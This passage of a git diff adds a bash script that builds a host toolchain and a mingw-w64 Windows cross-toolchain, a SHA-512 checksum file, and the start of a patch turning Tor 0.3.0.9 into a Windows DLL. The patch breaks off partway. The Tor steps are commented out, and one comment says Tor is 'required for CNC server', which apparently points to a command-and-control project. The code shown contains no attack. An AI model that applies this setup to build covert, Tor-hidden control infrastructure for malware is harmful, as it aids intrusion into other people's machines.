+# sha512 available?
+SHA512_BIN=$(command -v "sha512sum" 2>/dev/null)
+
+
+set -e
+set -u
+
+DBG_ERRLINES=${DBG_ERRLINES:-10}
+RED=$(tput setaf 1)
+GREEN=$(tput setaf 2)
+CYAN=$(tput setaf 6)
+BOLD=$(tput bold)
+NC=$(tput sgr0)
+cd "$(dirname $0)"
+
+export PYTHON=Python-2.7.18
+export MINGW=mingw-w64-v6.0.0
+export BIN=binutils-2.31.1
+export GCC=gcc-8.2.0
+export GMP=gmp-6.1.2
+export MPF=mpfr-4.0.1
+export MPC=mpc-1.1.0
+export MUSL=musl-1.1.20
+export NASM=nasm-2.12.02
+#export TOR=tor-0.3.0.9
+export PKGCONFIG=pkg-config-0.29.2
+export OPENSSL=openssl-1.1.1f
+export ZLIB=zlib-1.2.11
+export LIBEVENT=libevent-2.1.8-stable
+
+export BUILDDIRS="build_python build_binutils build_gcc build_musl build_tor build_mingw_binutils build_mingw_hdr build_mingw_crt build_mingw_gcc build_nasm build_mingw_winpthread build_pkgconfig build_mingw_openssl build_mingw_zlib build_mingw_libevent build_mingw_tor"
+
+DBG_LOGFILE=${DBG_LOGFILE:-$(realpath "./build.log")}
+touch "${DBG_LOGFILE}"
+exec 3> ${DBG_LOGFILE}
+
+function dbg {
+ timestamp=$(date '+%d-%m-%Y_%H-%M-%S')
+ echo -e "[${timestamp}] $*" >&3
+ printf "%s\n" "[${timestamp}]${BOLD}${GREEN}[*] $*${NC}"
+}
+
+function dbg_run {
+ set +e
+ timestamp=$(date '+%d-%m-%Y_%H-%M-%S')
+ echo -e "[${timestamp}] COMMAND: $*" >&3
+ printf "%s\n" "[${timestamp}]${BOLD}${CYAN}[*] COMMAND: $*${NC}"
+
+ if [ -z "${DBG_NOLOG:-}" ]; then
+ $* 2>&3 1>&3
+ ret=$?
+ else
+ $* >/dev/null 2>/dev/null
+ ret=$?
+ fi
+
+ if [ -z "${DBG_NOERR:-}" -a $ret -ne 0 ]; then
+ timestamp=$(date '+%d-%m-%Y_%H-%M-%S')
+ printf "%s\n" "[${timestamp}]${BOLD}${RED}ERROR: Last command returned ${ret}${NC}"
+ printf "%s\n" "[${timestamp}]${BOLD}${RED}ERROR: Printing the last ${DBG_ERRLINES} lines ..${NC}"
+ tail -n ${DBG_ERRLINES} ${DBG_LOGFILE}
+ printf "%s\n" "[${timestamp}]${BOLD}${RED}EOF ERROR${NC}"
+ echo -e "[${timestamp}] COMMAND $* failed with ${ret}" >&3
+ fi
+
+ set -e
+ return $ret
+}
+
+# args: basename, url
+function dl_and_extract {
+ if [ ! -f "${1}${3}" ]; then
+ dbg "download ${1}"
+ wget "${2}" -O".tmp.${1}${3}"
+ mv ".tmp.${1}${3}" "${1}${3}"
+ fi
+ if [ "x${3}" != x ]; then
+ if [ ! -d "${1}" ]; then
+ dbg "extract ${1}"
+ if [ "${3}" = '.tar.gz' ]; then
+ tar -xzf "${1}${3}"
+ elif [ "${3}" = '.tar.bz2' ]; then
+ tar -xjf "${1}${3}"
+ fi
+ fi
+ if [ ! -d "${1}" ]; then
+ dbg "directory ${1} missing, extraction failed?"
+ return 1
+ fi
+ fi
+ return 0
+}
+
+function dl_and_extract_gz {
+ dl_and_extract "${1}" "${2}" '.tar.gz'
+}
+
+function dl_and_extract_bz {
+ dl_and_extract "${1}" "${2}" '.tar.bz2'
+}
+
+
+# entry
+dbg "DEPS_ROOT = $(realpath .)"
+dbg "DBG_LOGFILE = ${DBG_LOGFILE}"
+dbg "DBG_NOLOG = ${DBG_NOLOG:-0}"
+dbg "DBG_ERRLINES = ${DBG_ERRLINES}"
+if [ $# -gt 0 ]; then
+ NMB_BUILDJOBS=$1
+else
+ NMB_BUILDJOBS=4
+fi
+dbg "NMB_BUILDJOBS = ${NMB_BUILDJOBS}"
+dbg "======="
+
+dbg "exec $(pwd)/config.sh"
+. config.sh >/dev/null
+dbg "Host...: $(gcc -dumpmachine)"
+dbg "Target.: ${targ}"
+dbg "Sysroot: ${MY_SYS_ROOT}"
+dbg "======="
+
+export PY_BUILD_STAMP=".stamp-python"
+if [ ! -d "${MY_SYS_ROOT}" ]; then
+ mkdir -p "${MY_SYS_ROOT}"
+ dbg "remove ${BUILDDIRS}"
+ rm -rf ${BUILDDIRS} ${PY_BUILD_STAMP}
+fi
+
+dl_and_extract_gz "${PYTHON}" "https://www.python.org/ftp/python/2.7.18/${PYTHON}.tgz"
+
+#libtor is disabled until patch the was ported
+#dl_and_extract "${TOR}" "https://www.torproject.org/dist/${TOR}.tar.gz"
+#if [ ! -d "${TOR}-libtor" ]; then
+# dbg_run cp -rf "${TOR}" "${TOR}-libtor"
+# dbg "patching ${TOR}-libtor"
+# dbg_run patch -d "${TOR}-libtor" -p1 < "${TOR}-libtor.patch"
+#fi
+
+dl_and_extract_bz "${MINGW}" "https://vorboss.dl.sourceforge.net/project/mingw-w64/mingw-w64/mingw-w64-release/${MINGW}.tar.bz2"
+dl_and_extract_gz "${BIN}" "https://ftp.gnu.org/gnu/binutils/${BIN}.tar.gz"
+dl_and_extract_gz "${GCC}" "https://ftp.gnu.org/gnu/gcc/${GCC}/${GCC}.tar.gz"
+dl_and_extract_gz "${MUSL}" "https://www.musl-libc.org/releases/${MUSL}.tar.gz"
+dl_and_extract_gz "${NASM}" "http://www.nasm.us/pub/nasm/releasebuilds/2.12.02/${NASM}.tar.gz"
+dl_and_extract_gz "${PKGCONFIG}" "https://pkgconfig.freedesktop.org/releases/${PKGCONFIG}.tar.gz"
+dl_and_extract_gz "${OPENSSL}" "https://www.openssl.org/source/${OPENSSL}.tar.gz"
+dl_and_extract_gz "${ZLIB}" "https://zlib.net/${ZLIB}.tar.gz"
+dl_and_extract_gz "${LIBEVENT}" "https://github.com/libevent/libevent/releases/download/release-2.1.8-stable/${LIBEVENT}.tar.gz"
+
+test -f "${GMP}.tar.bz2" || { dbg_run wget "https://gmplib.org/download/gmp/${GMP}.tar.bz2" -O".tmp.${GMP}.tar.bz2" && dbg_run mv ".tmp.${GMP}.tar.bz2" "${GMP}.tar.bz2" || false; }
+test -f "${MPF}.tar.bz2" || { dbg_run wget "http://www.mpfr.org/mpfr-4.0.1/${MPF}.tar.bz2" -O".tmp.${MPF}.tar.bz2" && dbg_run mv ".tmp.${MPF}.tar.bz2" "${MPF}.tar.bz2" || false; }
+test -f "${MPC}.tar.gz" || { dbg_run wget "ftp://ftp.gnu.org/gnu/mpc/${MPC}.tar.gz" -O".tmp.${MPC}.tar.gz" && dbg_run mv ".tmp.${MPC}.tar.gz" "${MPC}.tar.gz" || false; }
+
+if [ ! -d "${GCC}/gmp" ]; then
+ dbg "extract gmp"
+ dbg_run tar -xjf "${GMP}.tar.bz2"
+ dbg_run mv "${GMP}" "${GCC}/gmp"
+fi
+if [ ! -d "${GCC}/mpfr" ]; then
+ dbg "extract mpfr"
+ dbg_run tar -xjf "${MPF}.tar.bz2"
+ dbg_run mv "${MPF}" "${GCC}/mpfr"
+fi
+if [ ! -d "${GCC}/mpc" ]; then
+ dbg "extract mpc"
+ dbg_run tar -xzf "${MPC}.tar.gz"
+ dbg_run mv -fv "${MPC}" "${GCC}/mpc"
+fi
+
+if [ x"${SHA512_BIN}" != x ]; then
+ dbg_run ${SHA512_BIN} -c ./sha512.chksms
+fi
+
+mkdir -p ${BUILDDIRS}
+export CFLAGS="-g0 -O2 -pipe -fPIC -fomit-frame-pointer -Wl,-S -Wno-unused-but-set-parameter -Wno-unused -Wno-unused-result -Wno-attributes -Wno-switch -Wno-shift-negative-value"
+export CXXFLAGS="-g0 -O2 -fPIC -fomit-frame-pointer -Wl,-S -Wno-literal-suffix -Wno-switch"
+
+# 0: Make host binutils
+dbg "MAKE HOST BINUTILS"
+cd build_binutils
+test -f Makefile || dbg_run ../${BIN}/configure --disable-multilib --prefix="${MY_SYS_ROOT}" \
+ --enable-lto --enable-ld=yes --enable-gold --enable-plugins --enable-64-bit-bfd \
+ --with-sysroot="${MY_SYS_ROOT}" \
+ --disable-libstdcxx --disable-nls --disable-libquadmath --disable-libquadmath-support
+dbg_run make configure-host
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install-strip
+dbg_run cp "../${BIN}/include/libiberty.h" "${MY_SYS_ROOT}/include/libiberty.h"
+cd ..
+
+# 0: Make host gcc
+dbg "MAKE HOST GCC"
+cd build_gcc
+test -f Makefile || dbg_run ../${GCC}/configure --disable-multilib --prefix="${MY_SYS_ROOT}" \
+ --enable-static --disable-shared --with-system-zlib \
+ --enable-languages=c,c++,go --enable-libstdcxx --enable-fully-dynamic-string \
+ --disable-libmpx --disable-nls --disable-threads --enable-lto --enable-ld=yes
+dbg_run make all-gcc -j${NMB_BUILDJOBS}
+dbg_run make all-target-libgcc -j${NMB_BUILDJOBS}
+dbg_run make all-target-libstdc++-v3 -j${NMB_BUILDJOBS}
+dbg_run make install-strip-gcc
+dbg_run make install-strip-target-libgcc
+dbg_run make install-strip-target-libstdc++-v3
+dbg_run make all-gotools -j${NMB_BUILDJOBS} LDFLAGS=-pthread
+dbg_run make install-strip-gotools
+dbg_run make all-target-libgo -j${NMB_BUILDJOBS} LDFLAGS=-pthread
+dbg_run make install-strip-target-libgo
+cd ..
+
+# force use of recent host gcc build
+export CC="${MY_SYS_ROOT}/bin/gcc"
+export CXX="${MY_SYS_ROOT}/bin/g++"
+export CPP="${MY_SYS_ROOT}/bin/cpp"
+export AR="${MY_SYS_ROOT}/bin/ar"
+export AS="${MY_SYS_ROOT}/bin/as"
+export LD="${MY_SYS_ROOT}/bin/ld"
+export RANLIB="${MY_SYS_ROOT}/bin/ranlib"
+export STRIP="${MY_SYS_ROOT}/bin/strip"
+
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/ld" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/real-ld" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/nm" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/nm" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/strip" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/strip" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/strip" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/gstrip" || true
+
+# 0.1: Make Python
+if [ ! -r ${PY_BUILD_STAMP} ]; then
+ dbg "MAKE PYTHON"
+ cd build_python
+ test -f Makefile || dbg_run ../${PYTHON}/configure --prefix=${MY_SYS_ROOT} --enable-optimizations --disable-shared
+ dbg_run make -j${NMB_BUILDJOBS}
+ dbg_run make install
+ dbg_run ln -sr ${MY_SYS_ROOT}/bin/python2.7 ${MY_SYS_ROOT}/bin/${PYTHON} || true
+ dbg_run ${STRIP} -s "${MY_SYS_ROOT}/bin/python2.7"
+ cd ..
+ dbg_run touch ${PY_BUILD_STAMP} # build python only once (takes lots of time with --enable-optimizations + tests)
+else
+ dbg "Skipping Python build (already done)"
+fi
+
+#libtor is disabled until patch the was ported
+# 0.5: Make host TOR (required for CNC server)
+#dbg "MAKE HOST TOR (try)"
+#cd build_tor
+#unset ret
+#test -f Makefile || dbg_run ../${TOR}/configure --prefix=${MY_SYS_ROOT} --disable-silent-rules --enable-gcc-warnings-advisory --disable-systemd --disable-libfuzzer --disable-oss-fuzz --disable-system-torrc && ret=0 || ret=$?
+#if [ $ret -eq 0 ]; then
+# dbg_run make -j${NMB_BUILDJOBS} || dbg "HOST TOR build failed, ignore"
+# dbg_run make install
+#else
+# dbg "HOST TOR configure failed, ignore"
+#fi
+#cd ..
+# generate torrc
+#if [ -r "${MY_SYS_ROOT}/etc/tor/torrc.sample" ]; then
+# dbg_run ./torconf.sh
+#fi
+
+# 1: Make binutils
+dbg "MAKE BINUTILS for ${targ}"
+cd build_mingw_binutils
+test -f Makefile || dbg_run ../${BIN}/configure --target=${targ} --disable-multilib --prefix="${MY_SYS_ROOT}/${targ}" \
+ --enable-lto --enable-ld=yes --with-sysroot="${MY_SYS_ROOT}/${targ}" \
+ --disable-libstdcxx --disable-nls --disable-libquadmath --disable-libquadmath-support
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install-strip
+cd ..
+
+# 2: Make nasm
+dbg "MAKE NASM for ${targ}"
+cd build_nasm
+dbg_run mkdir -p common macros # nasm build fix
+test -f Makefile || dbg_run ../${NASM}/configure --target=${targ} --prefix=${MY_SYS_ROOT}/${targ}
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install
+cd ..
+
+# 3: Make symlinks / directories required for Mingw64 builds
+dbg "MAKE SYMLINKS/DIRS"
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}" "${MY_SYS_ROOT}/mingw" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}" "${MY_SYS_ROOT}/${targ}/mingw" || true
+mkdir -p ${MY_SYS_ROOT}/${targ}/lib
+
+# 4: Make mingw headers
+dbg "MAKE MINGW HEADERS"
+cd build_mingw_hdr
+test -f Makefile || dbg_run ../${MINGW}/mingw-w64-headers/configure --host=${targ} --prefix="${MY_SYS_ROOT}/${targ}"
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install
+cd ..
+
+# 5: Make gcc core
+dbg "MAKE GCC CORE"
+cd build_mingw_gcc
+test -f Makefile || dbg_run ../${GCC}/configure --target=${targ} --disable-multilib --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}" \
+ --enable-static --disable-shared --with-system-zlib --without-included-gettext \
+ --enable-sjlj-exceptions --enable-threads=posix --disable-libstdcxx --enable-fully-dynamic-string \
+ --disable-libmpx --enable-languages=c --enable-lto
+dbg_run make all-gcc -j${NMB_BUILDJOBS}
+dbg_run make install-strip-gcc
+cd ..
+
+# 6: Make pkg-config (required for libtor)
+dbg "MAKE PKG-CONFIG"
+cd build_pkgconfig
+test -f Makefile || dbg_run ../${PKGCONFIG}/configure --prefix="${MY_SYS_ROOT}/${targ}" --with-internal-glib --with-pc-path="${MY_SYS_ROOT}/${targ}/lib/pkgconfig/"
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install
+cd ..
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/pkg-config" "${MY_SYS_ROOT}/${targ}/bin/${targ}-pkg-config" || true
+
+# force use of recent host gcc build
+export CC="${MY_SYS_ROOT}/${targ}/bin/${targ}-gcc"
+export CXX=false
+export CPP="${MY_SYS_ROOT}/${targ}/bin/${targ}-cpp"
+export AR="${MY_SYS_ROOT}/${targ}/bin/${targ}-ar"
+export AS="${MY_SYS_ROOT}/${targ}/bin/${targ}-as"
+export LD="${MY_SYS_ROOT}/${targ}/bin/${targ}-ld"
+export RANLIB="${MY_SYS_ROOT}/${targ}/bin/${targ}-ranlib"
+export STRIP="${MY_SYS_ROOT}/${targ}/bin/${targ}-strip"
+export DLLTOOL="${MY_SYS_ROOT}/${targ}/bin/${targ}-dlltool"
+export WINDRES="${MY_SYS_ROOT}/${targ}/bin/${targ}-windres"
+
+# 7: Make mingw crt
+dbg "MAKE MINGW CRT"
+cd build_mingw_crt
+test -f Makefile || dbg_run ../${MINGW}/mingw-w64-crt/configure --host=${targ} \
+ --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}"
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install-strip
+cd ..
+
+# 8: Make win pthreads
+dbg "MAKE WINPTHREADS"
+cd build_mingw_winpthread
+test -f Makefile || dbg_run ../${MINGW}/mingw-w64-libraries/winpthreads/configure --host=${targ} \
+ --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}"
+dbg_run make -j${NMB_BUILDJOBS} || dbg "expected failure"
+dbg_run cp fakelib/libgcc.a fakelib/libpthread.a
+dbg_run make -j${NMB_BUILDJOBS} && dbg_run make install-strip
+
+dbg_run cp ${MY_SYS_ROOT}/${targ}/bin/libwinpthread-1.dll \
+ ${MY_SYS_ROOT}/${targ}/lib/
+
+cd ..
+
+# 9: Make gcc second pass
+dbg "MAKE GCC PASS #2"
+cd build_mingw_gcc
+dbg_run make -j${NMB_BUILDJOBS}
+dbg_run make install-strip-gcc
+dbg_run make all-target-libgcc -j${NMB_BUILDJOBS}
+dbg_run make install-target-libgcc
+cd ..
+
+export CFLAGS="-g0 -Os -s -pipe -flto -fuse-linker-plugin -ffat-lto-objects -fomit-frame-pointer -fdata-sections -ffunction-sections -Wno-unused-but-set-parameter -Wno-unused-variable -Wno-unused-result -Wno-attributes -Wno-switch -Wno-float-conversion -Wno-maybe-uninitialized -Wl,-gc-sections"
+export LDFLAGS="-flto -Os -Wno-maybe-uninitialized -Wl,-gc-sections"
+
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-ld" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/real-ld" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-nm" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/nm" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-strip" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/strip" || true
+DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-strip" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/gstrip" || true
+
+# 10: Make mingw openssl
+dbg "MAKE MINGW OPENSSL (try, required for libtor)"
+cd build_mingw_openssl
+DISBALED_CIPHERS="no-idea no-mdc2 no-camellia no-bf no-cast no-des no-rc2 no-rc4 no-rc5 no-mdc2 no-afalgeng no-asan no-blake2 no-chacha no-cmac no-seed no-md2 no-md4 no-cms no-capieng no-comp no-ct no-dgram no-ec_nistp_64_gcc_128 no-err no-async no-dynamic-engine no-dso no-dtls no-filenames no-zlib-dynamic no-whirlpool no-ui no-ubsan no-srp no-srtp no-ts no-asm no-autoalginit no-ssl3-method no-weak-ssl-ciphers no-dsa no-async"
+unset ret
+test -f Makefile || dbg_run ../${OPENSSL}/Configure mingw no-egd no-zlib no-hw ${DISBALED_CIPHERS} --prefix="${MY_SYS_ROOT}/${targ}" ${CFLAGS} && ret=0 || ret=$?
+if [ $ret -eq 0 ]; then
+ dbg_run make -j${NMB_BUILDJOBS} || dbg "MINGW OPENSSL build failed, ignore"
+ dbg_run make install_dev || dbg "MINGW OPENSSL install failed, ignore"
+else
+ dbg "mingw openssl configure failed, ignore"
+fi
+cd ..
+
+# 11: Make mingw zlib
+dbg "MAKE MINGW ZLIB (try, required for libtor)"
+cd build_mingw_zlib
+unset ret
+test -f Makefile || dbg_run ../${ZLIB}/configure --static --const --prefix="${MY_SYS_ROOT}/${targ}" && ret=0 || ret=$?
+if [ $ret -eq 0 ]; then
+ dbg_run make -j${NMB_BUILDJOBS} libz.a || dbg "MINGW ZLIB build failed, ignore"
+ dbg_run make install || dbg "MINGW ZLIB install failed, ignore"
+else
+ dbg "MINGW ZLIB configure failed, ignore"
+fi
+cd ..
+
+# 12: Make mingw libevent
+dbg "MAKE MINGW LIBEVENT (try, required for libtor)"
+cd build_mingw_libevent
+unset ret
+test -f Makefile || dbg_run ../${LIBEVENT}/configure \
+ --disable-libevent-regress --disable-samples --disable-openssl \
+ --enable-function-sections --prefix="${MY_SYS_ROOT}/${targ}" \
+ --host=${targ} --enable-static --disable-shared && ret=0 || ret=$?
+if [ $ret -eq 0 ]; then
+ dbg_run make -j${NMB_BUILDJOBS} || dbg "MINGW LIBEVENT build failed, ignore"
+ dbg_run make install || dbg "MINGW LIBEVENT install failed, ignore"
+ DBG_NOERR=1 dbg_run ln -sr ./.libs/libevent* ./ || true # required for mingw tor builds (using static libevent)
+else
+ dbg "MINGW LIBEVENT configure failed, ignore"
+fi
+cd ..
+
+#libtor is disabled until patch the was ported
+# 13: Make patch'd mingw tor (libtor)
+#dbg "MAKE MINGW TOR (libtor patch)"
+#cd build_mingw_tor
+#TOR_CFLAGS="-DHAVE_SSL_GET_SERVER_RANDOM=1 -DHAVE_SSL_GET_CLIENT_CIPHERS=1 -DHAVE_SSL_GET_CLIENT_RANDOM=1 -DHAVE_SSL_SESSION_GET_MASTER_KEY=1"
+#TOR_CFLAGS_EXTRA="-fasynchronous-unwind-tables -fno-strict-aliasing -Wall -Wextra -W"
+#TOR_ARCHIVES="src/or/libtor.a src/common/libor.a src/common/libor-ctime.a src/common/libor-crypto.a src/ext/keccak-tiny/libkeccak-tiny.a src/common/libcurve25519_donna.a src/ext/ed25519/ref10/libed25519_ref10.a src/ext/ed25519/donna/libed25519_donna.a src/common/libor-event.a src/trunnel/libor-trunnel.a"
+#TOR_STATIC_LIBS="$(realpath ../build_mingw_libevent)/libevent.a $(realpath ../build_mingw_openssl)/libssl.a $(realpath ../build_mingw_openssl)/libcrypto.a $(realpath ../build_mingw_zlib)/libz.a"
+#unset ret
+#test -f Makefile || CFLAGS="${CFLAGS} ${TOR_CFLAGS}" dbg_run ../${TOR}-libtor/configure --host=${targ} --disable-gcc-hardening --enable-static-tor --prefix="${MY_SYS_ROOT}/${targ}" --disable-tool-name-check --with-libevent-dir="$(realpath ../build_mingw_libevent)" --with-openssl-dir="$(realpath ../build_mingw_openssl)" --with-zlib-dir="$(realpath ../build_mingw_zlib)" --disable-systemd --disable-libfuzzer --disable-oss-fuzz --disable-system-torrc --disable-local-appdata --enable-tor2web-mode && ret=0 || ret=$?
+#if [ $ret -eq 0 ]; then
+# # build only required targets
+# CFLAGS="${CFLAGS} ${TOR_CFLAGS}" dbg_run make src/or/tor.exe src/tools/tor-resolve.exe src/tools/tor-gencert.exe src/test/test.exe -j${NMB_BUILDJOBS} V=1 || dbg "MINGW TOR build failed, ignore"
+# dbg_run ${STRIP} -s src/or/tor.exe || true
+# dbg_run make install-exec || dbg "MINGW TOR install failed, ignore"
+# # install tests
+# dbg_run install -c src/test/test.exe "${MY_SYS_ROOT}/${targ}/bin/tor-tests.exe" || dbg "tor-tests.exe install failed, ignore"
+#else
+# dbg "MINGW TOR configure failed, ignore"
+#fi
+# compile/link libtor
+#dbg "MAKE MINGW LIBTOR"
+#dbg_run ${CC} -std=gnu99 ${CFLAGS} ${TOR_CFLAGS} ${TOR_CFLAGS_EXTRA} ../${TOR}-libtor/src/or/tor_main.c ${TOR_ARCHIVES} -shared -o src/or/libtor.dll -lgdi32 -lcrypt32 ${TOR_STATIC_LIBS} -lws2_32 "${MY_SYS_ROOT}/${targ}/lib/libwinpthread.a" -static-libgcc -Wl,-require-defined=_tor_main@8 -Wl,-require-defined=_tor_init -Wl,-Map=src/or/libtor.map || dbg "LIBTOR build failed, ignore"
+#dbg_run ${STRIP} -s src/or/libtor.dll
+## install libtor
+#dbg_run install -c src/or/libtor.dll "${MY_SYS_ROOT}/${targ}/lib/libtor.dll" || dbg "libtor.dll install failed, ignore"
+#dbg_run install -c ../${TOR}-libtor/src/or/libtor.h "${MY_SYS_ROOT}/${targ}/include/libtor.h" || dbg "libtor.h install failed, ignore"
+#cd ..
+
+dbg "Creating ${MY_SYS_ROOT}/activate.sh"
+cat <<EOF >${MY_SYS_ROOT}/activate.sh
+#!/bin/bash
+export PATH="${MY_SYS_ROOT}/bin:${MY_SYS_ROOT}/i686-w64-mingw32/bin:${MY_SYS_ROOT}/x86_64-pc-linux-gnu/bin:${PATH}"
+EOF
+chmod +x ${MY_SYS_ROOT}/activate.sh
+
+dbg "DONE"
+
+if [ ! -z "${SECONDS:-}" ]; then
+ T_DELTA_H=$(( ${SECONDS} / 3600 ))
+ T_DELTA_M=$(( ${SECONDS} / 60 % 60 ))
+ dbg "TOTAL TIME: ${T_DELTA_H}hrs ${T_DELTA_M}min"
+fi
diff --git a/deps/sha512.chksms b/deps/sha512.chksms
new file mode 100644
index 0000000..cc606cb
--- /dev/null
+++ b/deps/sha512.chksms
@@ -0,0 +1,12 @@
+9a81cea8f8853b183364b399a238604075b00d18badb0cde118b20fe4428135de5d75a3feca0d56a3d8d40d557e3933de573671072d9da6f76f84435d23bf1ba Python-2.7.18.tar.gz
+c1674fc0a5edcde188bdf7d6d14063cfb4f1259b9eaf39d0081f7176e9921ca0af1b12b7aba1a9560d9f2d5f37329d22bc7b82f13421d91d83114b439bc60dcc mpfr-4.0.1.tar.bz2
+72d657958b07c7812dc9c7cbae093118ce0e454c68a585bfb0e2fa559f1bf7c5f49b93906f580ab3f1073e5b595d23c6494d4d76b765d16dde857a18dd239628 mpc-1.1.0.tar.gz
+268db88447174617f5746d9a6ba2b105940cc1a5e73155eb23b6eedf55f8e7724eda05d161b2de19aca9e794956d226ba9ed6f23124c7c82f7e1872e32b003cf gmp-6.1.2.tar.bz2
+e3d3663e0cb33a16f90b1a33e81b5a30d26f7e34270b14e865c10068f2a2d32da9ef8cbbb0c3fed9c71429ae11c82152ff3b87d81558929b2a4993dc99cfc11e mingw-w64-v6.0.0.tar.bz2
+6e8867cacf58a6f79122ccee00afbb894c1709375580afc14b523dc7d123029bf2532f9f71e4c6c7072b2d708cc97a370c922d80fa17b3ee3ddeb49110cd749b binutils-2.31.1.tar.gz
+3182cd248a37ce4c36ad2a43f1910da13325452472ea80855afc21f134c4e4792c29887f5e070fe21c3ff8e5953e59f69343e1d3b968ee1eb2d8b5c8ae9f48fa gcc-8.2.0.tar.gz
+03f1c97380cec892f2c465f7e3e3c99a55b5a7b7b966f71fba9398940ed332b7d960770ce75fafe549feaa70636edbf94b48b848137c9df3b0c8adb1dcbb1394 nasm-2.12.02.tar.gz
+4861ec6428fead416f5cbbbb0bbad10b9152967e481d4b0ff2eb396a9f297f552984c9bb72f6864a37dcd8fca1d9ccceda3ef18d8f121938dbe4fdf2b870fe75 pkg-config-0.29.2.tar.gz
+b00bd9b5ad5298fbceeec6bb19c1ab0c106ca5cfb31178497c58bf7e0e0cf30fcc19c20f84e23af31cc126bf2447d3e4f8461db97bafa7bd78f69561932f000c openssl-1.1.1f.tar.gz
+73fd3fff4adeccd4894084c15ddac89890cd10ef105dd5e1835e1e9bbb6a49ff229713bd197d203edfa17c2727700fce65a2a235f07568212d820dca88b528ae zlib-1.2.11.tar.gz
+a2fd3dd111e73634e4aeb1b29d06e420b15c024d7b47778883b5f8a4ff320b5057a8164c6d50b53bd196c79d572ce2639fe6265e03a93304b09c22b41e4c2a17 libevent-2.1.8-stable.tar.gz
diff --git a/deps/tor-0.3.0.9-libtor.patch b/deps/tor-0.3.0.9-libtor.patch
new file mode 100644
index 0000000..88ff199
--- /dev/null
+++ b/deps/tor-0.3.0.9-libtor.patch
@@ -0,0 +1,932 @@
+diff -Naur tor-0.3.0.9/configure tor-0.3.0.9-libtor/configure
+--- tor-0.3.0.9/configure
++++ tor-0.3.0.9-libtor/configure
+@@ -8278,7 +8278,7 @@
+ TOR_LIB_IPHLPAPI=-liphlpapi
+ # Some of the cargo-cults recommend -lwsock32 as well, but I don't
+ # think it's actually necessary.
+- TOR_LIB_GDI=-lgdi32
++ TOR_LIB_GDI="-lgdi32 -lcrypt32 $TOR_LIB_WS32"
+ else
+ TOR_LIB_WS32=
+ TOR_LIB_GDI=
+diff -Naur tor-0.3.0.9/Makefile.in tor-0.3.0.9-libtor/Makefile.in
+--- tor-0.3.0.9/Makefile.in
++++ tor-0.3.0.9-libtor/Makefile.in
+@@ -2695,19 +2695,19 @@
+ .SUFFIXES: .c .log .o .obj .test .test$(EXEEXT) .trs
+ am--refresh: Makefile
+ @:
+-$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__configure_deps)
+- @for dep in $?; do \
+- case '$(am__configure_deps)' in \
+- *$$dep*) \
+- echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \
+- $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \
+- && exit 0; \
+- exit 1;; \
+- esac; \
+- done; \
+- echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \
+- $(am__cd) $(top_srcdir) && \
+- $(AUTOMAKE) --foreign Makefile
++#$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__configure_deps)
++# @for dep in $?; do \
++# case '$(am__configure_deps)' in \
++# *$$dep*) \
++# echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \
++# $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \
++# && exit 0; \
++# exit 1;; \
++# esac; \
++# done; \
++# echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \
